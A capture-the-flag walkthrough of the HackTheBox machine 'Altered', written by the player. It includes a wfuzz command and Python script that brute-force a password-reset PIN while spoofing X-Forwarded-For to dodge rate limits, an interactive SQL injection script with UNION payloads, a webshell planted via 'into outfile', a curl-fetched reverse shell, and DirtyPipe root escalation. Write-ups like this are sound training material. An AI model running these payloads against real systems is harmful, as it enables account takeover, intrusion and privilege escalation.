Altered - HackTheBox
I started with an Nmap
scan to identify open ports.
┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat nmap.txt
# Nmap 7.92 scan initiated Thu Mar 31 23:44:05 2022 as: nmap -sS --min-rate 5000 -v -n -p- --open -Pn -o nmap.txt 10.10.11.159
Nmap scan report for 10.10.11.159
Host is up (0.43s latency).
Not shown: 52831 filtered tcp ports (no-response), 12702 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Mar 31 23:46:22 2022 -- 1 IP address (1 host up) scanned in 137.22 seconds
I did another scan to detect the version of the ports found.
┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat services.txt
# Nmap 7.92 scan initiated Thu Mar 31 23:47:11 2022 as: nmap -sCV -p22,80 -o services.txt 10.10.11.159
Nmap scan report for 10.10.11.159
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: UHC March Finals
|_Requested resource was http://10.10.11.159/login
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 31 23:47:22 2022 -- 1 IP address (1 host up) scanned in 11.36 seconds
I only had two ports open, 22
was not working for me at the moment, so I looked at the web server.
It appears to be a login, I tried default credentials, admin
admin
but no luck, it reported a Forgot Password
button.
The button redirected me to a page where I could see a panel of sorts where I could change the password of an existing user, I tried with the admin
user.
And yes, it existed, but I didn’t have the corresponding pin to be able to change the password, I tried to brute force it with wfuzz
to find out the pin, but there was a problem, the pin is made up of 4 digits, so I created a range from 0 to 9999 and I fuzzed the pin by POST adding the Cookie
header with my Cookie
, for the sake of redundancy, the problem was when sending requests from the same IP
, it blocks them.
This could be avoided by sending the ``X-Forwarded-For header with a range of different IPs, for this I created a small
bash` script that goes through a range from 0 to 256 with a nested loop.
#!/bin/bash
for i in {0..256}; do
for j in {0..256}; do
echo "10.10.$i.$j"
done
done
And export the output of this to a text file.
I fuzzed the X-Forwarded-For
header with the IP's
dictionary and the server and it no longer blocked me, the pin was 9176
.
$ wfuzz -c --hc=404 -u http://10.10.11.159/api/resettoken -d 'name=admin&pin=FUZZ' -z range,0000-9999 -H 'Cookie: XSRF-TOKEN=eyJpdiI6ImMxd0YwdlMvTTY2RlBOMVFVUkJhUFE9PSIsInZhbHVlIjoiakxXaDMxT3dlRktNaXkre EdsaVRGd25QN3lwTjI0TjhLU0JmSUxJd0R5cG50TTFEbnJycm05SFR5eXFKNUdETDFJR0dwbHAyeUZkU0JQV3dqUU toUmtLRENRMlhPdCtrNUlrcTdvVlE1ODUwZmhrMXAyOUx4ZVdKbDN1OVl0Q3ciLCJtYWMiOiIyNmZmOWQ2MDdlYjVlMzE3YzRhZTM4ZjdlODk4MTdjOTA1YjY1ZGYwYzNmNzlhZTdiOGM0NDJhMjdjOGI1YWFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlyeUNmS0xhRFpOMzhhcEFSV1lVdmc9PSIsInZhbHVlIjoidzJsWTVhWm4wd1pBc WFxVlFOKzN4MTNFM1pSUTJ6blRabVpPeWJVV29Zd1ZIMXJuWGw4cW41Q1o5K1BGNXFGQ2M4V1dmWDE0VlJESWNKT2J WNnBpU0RNeFRqT3YvcjNuRGxxNmdEVkhoOFpIQ2dBOUZzdWRuRzVqVGhwN0FtaGoiLCJtYWMiOiJiNTg0M2E0NzNhYTdjOTIyMGI0NThiM2Q4OTdmNjBmNGMwZTQxMGUzMGZkOWQ4NzM4NWY2NDMwOWZhNzJmZjUwIiwidGFnIjoiIn0%3D' -w ips -H 'X-Forwarded-For: FUZ2Z' -m zip -t 100 --hh=5644
Similarly, this could be done with a script in Python 3.
#!/usr/bin/python3
from pwn import *
from sys import exit
from requests import post
import signal
from random import randrange
burp = {'http': 'http://127.0.0.1:8080'}
def def_handler(say,frame):
print("Saliendo...")
exit(0)
signal.signal(signal.SIGINT, def_handler)
class BruteForce():
def __init__(self, main_url):
self.__url = main_url
def pin_code(self):
p1 = log.progress("Trying PIN")
p2 = log.progress("IP")
for pin in range(9999):
n1 = randrange(256)
n2 = randrange(256)
headers = {
'Cookie': 'XSRF-TOKEN=eyJpdiI6IlFoY3g0b2lTakNWMElZcGpuRnZjZHc9PSIsInZhbHVlIjoiQnUwZk9KS3JDQm5xZUNt amx3YVpSSm8yZVd0NTVQOUZOV3ZxMTFidStCbWJ4NXN4OS9GMXlSbnhEK0xNRWMwSzZTbnBMZVRVR3Vnb0dNUG5Zc m9ScmVTTks1ZTVYVXJWdVh2U05mZDZsQmJ4M3JROEc1Rm8vQlJNVURVTlFGMWgiLCJtYWMiOiI2N2IxNTEzM2Q2MTc1NzliNjU3ZWJmNzVkYjUwZmMyYWQzYzI5NjJiOGUxNmZkNDFkODlmOTJjOTgyYjVlMzMzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjJOMXFhTnVpRHcvUHU1d3F2NmxDS3c9PSIsInZhbHVlIjoiaFJGVVhNcitUTTFCWF J2c0FzYlFJQ3ZCR1pEQlM0eEhQSXo0TStjTkI2cEExVUNPcThCRWRWMWxEcnRaQTJFZjU3ak52ZWdQRTdsSzBpYkZh Z3lzY0VrbG5OZHNlUWtrSFU4eEM2bmI2eE94OWQydWpSd0poK3ZXcHpwNXR3ZWEiLCJtYWMiOiI0MWI2YmFhYzIyMjgyMWYxZDYzZjVhNGQzMDYxNjFiOWM1NzU0ZjEyZWRhOWFiZjFmMDg5OTEyM2E0YWQ0MzZiIiwidGFnIjoiIn0%3D',
'X-Forwarded-For': f'10.10.{n1}.{n2}'
}
data_post = {
'name': 'admin',
'pin': pin
}
p1.status(f"{pin}/9999")
p2.status(f"10.10.{n1}.{n2}")
r = post(self.__url+'/api/resettoken', data=data_post, headers=headers)
if len(r.text) != 5644:
p1.success(f"Valid -> {pin}")
break
brutepincode = BruteForce('http://10.10.11.159')
def main():
brutepincode.pin_code()
if __name__ == '__main__':
main()
Using this script is not very feasible due to its speed, but threads can be added using the
concurrent.futures
library to speed up the process.
Now, after entering the correct pin, I was redirected to a panel where I could change the password for the admin
user.
I gave it the password uhc
and logged in.
This is what it looked like after logging in.
There were a number of users with a fancy button, view
, I inspected the admin
user and found an interesting function in the JavaScript code.
This sent a GET request passing two parameters ‘id’ and ‘secret’, to see this in a better way I intercepted the request with BurpSuite by clicking the View
button.
There it is, it reported my id
and my secret
via GET, I sent the request.
Nothing interesting in the response, I tried changing the method from GET to POST and the result was different.
I didn’t accept this method, but something that caught my attention was that the response was in JSON format, I tried to parse the data in JSON by sending a GET request.
I still got the same answer, but what happened if I changed the id
to something else?
The answer was different, I tried Type Juggling
on secret
setting it to True and it reported something very different.
I tried an SQL injection on the id
parameter but it didn’t seem to be vulnerable.
I tried to remove the simple stretcher and after multiple failed attempts I managed to find a different answer, it could have 3 columns.
To do this, I created a script in Python 3 to handle it more comfortably from the terminal.
#!/usr/bin/python3
from pwn import *
import signal
from requests import get
from sys import exit
burp = {'http': 'http://127.0.0.1:8080'}
def def_handler(say, frame):
print("Saliendo...")
exit(0)
signal.signal(signal.SIGINT, def_handler)
class InteractiveSQLi():
def __init__(self, main_url):
self.__url = main_url
def sqli(self):
while True:
query = input('::$ ')
headers = {
"Content-Type": "application/json",
"Cookie": " WVJSclJnbzgrZlFxR0FhS1NWaDR5WmdudDBDMTBlRi91bVhIYkE1YzJXWTh5VmczUlRSTVR6dHRuUlpUa1JaN3ZJM jgwQ3pUd21uNnJadEFYS3oxYm5rQVZqdFVFRjc2c3JoRitxT3d0Y2p4TGVLSkUiLCJtYWMiOiJiYTdjZjJiZmViN2Q4NmE0OWJmMjIwNTA2Zjg4YjVmNDY3ZjMyMTNlOTUwN2U1N2NiYmVmZWZkOWNmZmZhMzY1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkdmM2RkeGlEVHBHano2RkRjTDZOUmc9PSIsInZhbHVlIjoiNlk5b2NnK2cvbGFFOG 80RWpQcEFQckRrbU9kbjhWckREM2RRcjFwakR3VzNXeHk5dHc4UTFFbU0wZ0tRaGptL3JUeEpSUEZtZEJncXJObWRr "QnBNTjE3dnRZaHgwbDI2YlNNL1c4RzB4SVpGNHZ0eWpjNjdRNncwWUJ0QnlvQnYiLCJtYWMiOiI3YjBmNjZjNzk0MjNhMDk2NjY5ZDBlMzIyYzJiOTNiMTg4NDA4ZWU2MjFjOTI1OWM5MGMwYzQ3Njk5ZWUzY2Y5IiwidGFnIjoiIn0%3D",
"X-Requested-With": "XMLHttpRequest"
}
data_json = {
"id": f"{query}",
"secret": True
}
r = get(self.__url+'/api/getprofile', json=data_json, headers=headers)
print('\n'+r.text+'\n')
sqlidebug = InteractiveSQLi('http://10.10.11.159')
def main():
sqlidebug.sqli()
if __name__ == '__main__':
main()
Knowing that it could be 3 columns, I inject 0 union select 1,2,3
and it reported 3 back, this meant that I could inject queries at that point and it would interpret it.
List all available databases with 0 union select 1,2,group_concat(schema_name) from information_schema.schemata;-- -
.
uhc
was a DB that caught my attention, I listed the tables in it with 0 union select 1,2,group_concat(concat(table_name)) from information_schema.tables where table_name = 'uhc';-- -
.
The users
table looked good, so I listed its columns with 0 union select 1,2,group_concat(concat(column_name)) from information_schema.columns where table_schema = 'users';-- -
.
There it is, name
and password
, this is what they had.
These appeared to be the hashes of the web panel users, but these were of no use to me as I had the password for the admin
user. Now, with SQL Injection I could view files on the machine using load_file
.
And it worked, a utility like into outfile
would allow me to upload files in case it let me, but I didn’t know the path where the web server was running, I understand that Apache 2 runs in /var/www/html
, but what about nginx
? I did a little search and found the following.
After viewing the /etc/nginx/site-available/default
file I found a potential path.
The server might be running at /srv/altered/public
, so if the into outfile
utility is functional you could upload a file to this path and have it accessible from the web, I tried uploading a ‘test.txt’ with ‘test’ as content.
And he let me do it.
Now I simply uploaded a Webshell to earn RCE.
To gain access, I created an index.html
file on my machine with the reverse shell code and shared a Python 3 web server hosting index.html
and set it to listen via nc
.
I did a curl
to my server from the Webshell.
I parsed it with bash
and gained access as www-data
.
I did a TTY treatment and was able to view the user’s flag.
ESCALADA DE PRIVILEGIOS
List the kernel version.
This version was vulnerable to CVE-2022-0847
, DirtyPipe, I could take advantage of this vulnerability to overwrite the x
of the root
user in the /etc/passwd
with a hash and subsequently authenticate myself as the root
user.
For this, I used the following exploit.
I opened a Python 3 server hosting the exploit and downloaded it from the victim machine with wget
.
I compiled it with gcc
and ran it.
The result didn’t look very good, but after looking at the /etc/passwd
I verified that it did overwrite the x
.
I did root
it, but there was still one more challenge.
Apparently I had to guess a 5 letter word in order to enter the root
password, after multiple failed attempts, I guessed the word, fstat
, was able to enter the password piped
and migrate to root
.
Leave a comment